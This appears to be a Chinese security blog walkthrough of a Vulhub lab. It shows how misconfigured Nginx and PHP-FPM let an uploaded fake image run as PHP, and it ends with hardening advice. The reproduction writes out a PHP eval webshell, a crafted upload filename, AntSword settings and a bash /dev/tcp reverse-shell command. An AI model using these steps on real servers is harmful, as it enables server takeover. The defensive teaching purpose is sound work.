Nginx 与 PHP-FPM 配置不当导致文件上传 RCE 漏洞(基于 Vulhub)

Nginx 与 PHP-FPM 配置不当导致文件上传 RCE 漏洞详解(基于 Vulhub)

一、前言

文件上传漏洞是 Web 安全领域的高危漏洞之一,尤其是结合 NginxPHP-FPM 配置不当,攻击者可通过伪装文件后缀、路径构造和配置绕过,执行任意 PHP 代码,进而实现 远程命令执行(RCE)。这种漏洞危害极大,可能导致服务器完全失控。本文基于 Vulhub 靶场,详细复现 Nginx 与 PHP-FPM 配置不当导致的文件上传 RCE 漏洞,涵盖原理分析、利用流程、蚁剑连接及防护措施,旨在帮助安全从业者深入理解漏洞成因与防范方法。

学习目标

  • 理解文件上传漏洞结合 Nginx 和 PHP-FPM 的利用链
  • 掌握伪装后缀与路径构造的攻击手法
  • 学会使用蚁剑进行 WebShell 管理
  • 掌握 Nginx 和 PHP-FPM 的安全配置实践

二、漏洞背景与原理

1. 漏洞概述

文件上传漏洞通常因 Web 应用未严格校验上传文件的类型或内容而产生。当结合 Nginx 和 PHP-FPM 的配置不当,攻击者可上传伪装为图片的文件(如 shell.jpg 包含 PHP 代码),并通过构造特殊路径(如 /shell.jpg/.phps)触发 PHP-FPM 解析,从而执行恶意代码,导致 RCE。

2. 核心问题

漏洞的根源在于以下配置缺陷:

  • Nginx 配置不当
    • location ~ \.phps 允许非标准的 .phps 后缀被 PHP-FPM 解析。
    • try_files 未严格验证路径,导致伪路径绕过。
    • SCRIPT_FILENAME 参数未过滤,允许任意文件被当作 PHP 脚本执行。
  • PHP-FPM 配置不当
    • security.limit_extensions 未严格限制,导致 .phps.jpg 等非标准后缀被解析。
  • 文件上传校验缺失
    • Web 应用未对上传文件内容进行严格检查,允许包含 PHP 代码的伪装文件上传。

3. 利用链

1
上传伪装文件(如 shell.jpg 含 PHP 代码) -> 构造路径(如 /shell.jpg/.phps) -> Nginx 传递给 PHP-FPM -> PHP-FPM 解析执行 -> RCE

4. 危害

  • 代码执行:执行任意 PHP 代码,获取服务器信息或上传 WebShell。
  • 命令执行:运行系统命令(如 whoamiid)。
  • 服务器接管:通过反弹 Shell 或后门控制服务器。
  • 数据泄露:窃取配置文件、数据库内容等。

三、Nginx 配置误区分析

以下是典型的 Nginx 配置片段(存在漏洞):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
index index.html index.php;
server_name example.com;

location / {
try_files $uri $uri/ =404;

location ~ \.phps {
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param REDIRECT_STATUS 200;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
fastcgi_pass php:9000;
}
}

1. 问题点剖析

  • .phps 后缀解析
    • location ~ \.phps 表示以 .phps 结尾的请求会交给 PHP-FPM 处理。
    • .phps 通常用于源代码高亮显示,不应启用为可执行脚本。
    • 攻击者可通过路径构造(如 /uploads/shell.jpg/.phps)将伪装文件(如 shell.jpg)当作 PHP 脚本执行。
  • SCRIPT_FILENAME 未过滤
    • fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name; 直接拼接用户输入的路径($fastcgi_script_name)。
    • 攻击者可提交 /uploads/shell.jpg/.phps,导致 SCRIPT_FILENAME 被设置为 /var/www/html/uploads/shell.jpg,从而执行 shell.jpg 中的 PHP 代码。
  • try_files 路径拼接问题
    • try_files $uri $uri/ =404; 尝试查找 $uri$uri/,未对伪路径(如 /shell.jpg/.phps)进行严格验证。
    • Nginx 将请求传递给 .phpslocation,触发 PHP-FPM 解析。

2. 正确配置示例

1
2
3
4
5
6
7
8
9
10
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
include fastcgi_params;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
}
location /uploads/ {
location ~ \.php$ {
return 403; # 禁止 Uploads 目录执行 PHP
}
}

四、PHP-FPM 配置分析

1. security.limit_extensions 参数

  • 作用
    • 位于 PHP-FPM 配置文件(如 /etc/php-fpm.d/www.conf)。
    • 限制哪些文件后缀可被 PHP-FPM 解析为 PHP 脚本。
    • 默认值:.php .php3 .php4 .php5
  • 示例
    1
    2
    [www]
    security.limit_extensions = .php

2. 配置不当的后果

  • 弱配置
    1
    security.limit_extensions = .php .phps
    允许 .phps 被解析,攻击者可通过 /shell.jpg/.phps 执行伪装文件。
  • 更危险
    1
    security.limit_extensions =
    为空时,PHP-FPM 解析任意后缀(如 .jpg.txt),极大增加漏洞风险。

3. 安全配置

1
2
[www]
security.limit_extensions = .php
  • 仅允许 .php 文件被解析。
  • 杜绝 .phps.jpg 等非标准后缀的执行。

五、漏洞复现步骤

1. 环境搭建

  • 操作系统:Kali Linux
  • 靶场:Vulhub(Nginx + PHP-FPM 漏洞环境)
  • 步骤
    1. 克隆 Vulhub 项目:
      1
      2
      git clone https://github.com/vulhub/vulhub.git
      cd vulhub/nginx/php-fpm
    2. 启动靶场:
      1
      sudo docker-compose up -d
    3. 验证环境:
      • 访问 http://localhost:8080,确认 Nginx 运行正常。

2. 构造伪装木马

  1. 创建 PHP WebShell:
    1
    echo "<?php @eval(\$_POST['cmd']); ?>" > shell.php
  2. 伪装为图片:
    1
    mv shell.php 1.jpg

3. 上传伪装文件

  • 假设目标站点有文件上传功能(如 /upload.php)。
  • 使用 Burp Suite 拦截上传请求,修改文件名:
    1
    Content-Disposition: form-data; name="file"; filename="1.jpg/.phps"
  • 上传后,文件存储在 /uploads/1.jpg

4. 触发 RCE

  • 访问构造路径:
    1
    http://localhost:8080/uploads/1.jpg/.phps
  • 结果:Nginx 将请求交给 PHP-FPM,执行 1.jpg 中的 PHP 代码。

5. 连接蚁剑

  • 配置
    • URLhttp://localhost:8080/uploads/1.jpg/.phps
    • 密码cmd
    • 类型:PHP
    • 编码:默认
  • 功能
    • 命令执行(如 whoami
    • 文件管理(上传、下载)
    • 反弹 Shell

6. 反弹 Shell(可选)

  • 在 Kali 上启动监听:
    1
    nc -lvnp 4444
  • 在蚁剑中执行:
    1
    bash -i >& /dev/tcp/<你的IP>/4444 0>&1

六、防御建议

1. Nginx 配置强化

  • 限制 PHP 解析
    1
    2
    3
    4
    5
    location ~ \.php$ {
    fastcgi_pass 127.0.0.1:9000;
    include fastcgi_params;
    fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
    }
  • 禁止上传目录执行 PHP
    1
    2
    3
    4
    5
    location /Uploads/ {
    location ~ \.php$ {
    return 403;
    }
    }

2. PHP-FPM 配置加固

  • 限制后缀
    1
    2
    [www]
    security.limit_extensions = .php
  • 检查配置文件
    • 路径:/etc/php-fpm.d/www.conf/etc/php/*/fpm/pool.d/www.conf
    • 确保不包含 .phps 或空值。

3. 文件上传校验

  • 内容校验
    • 使用 fileinfo 扩展验证文件真实类型:
      1
      2
      3
      4
      5
      $finfo = finfo_open(FILEINFO_MIME_TYPE);
      $mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
      if (!in_array($mime, ['image/jpeg', 'image/png'])) {
      die("仅允许上传图片!");
      }
  • 重命名文件
    • 使用随机文件名,避免直接使用用户输入。
  • 限制目录权限
    • 上传目录(如 /Uploads/)禁止执行权限:
      1
      chmod -R 644 /var/www/html/Uploads

4. WAF 部署

  • 配置 Web 应用防火墙,检测异常路径(如 /.phps)。
  • 拦截包含 PHP 代码的文件上传请求。

5. 日志监控

  • 监控 Nginx 和 PHP-FPM 日志,关注异常请求(如 .jpg/.phps)。
  • 定期扫描上传目录,检测可疑文件。

七、总结

项目 信息
漏洞类型 文件上传 + Nginx/PHP-FPM 配置不当
靶场 Vulhub(Nginx + PHP-FPM)
利用方式 伪装文件上传 + 路径构造(如 .phps
危害 RCE、服务器完全控制
修复核心 严格后缀限制、文件校验、权限控制

Nginx 与 PHP-FPM 配置不当导致的文件上传 RCE 漏洞展示了配置缺陷与文件上传校验缺失的严重后果。攻击者通过伪装文件和路径构造,可执行任意代码并接管服务器。开发者应强化 Nginx 和 PHP-FPM 配置,严格校验上传文件,部署 WAF 和监控机制,构建多层次防御体系。

免责声明:本文内容仅供合法授权的渗透测试和安全研究,严禁用于非法用途!


Nginx 与 PHP-FPM 配置不当导致文件上传 RCE 漏洞(基于 Vulhub)
https://bae-ace.github.io/2025/08/05/Nginx-与-PHP-FPM-配置不当导致文件上传-RCE-漏洞/
作者
bae
发布于
2025年8月5日
许可协议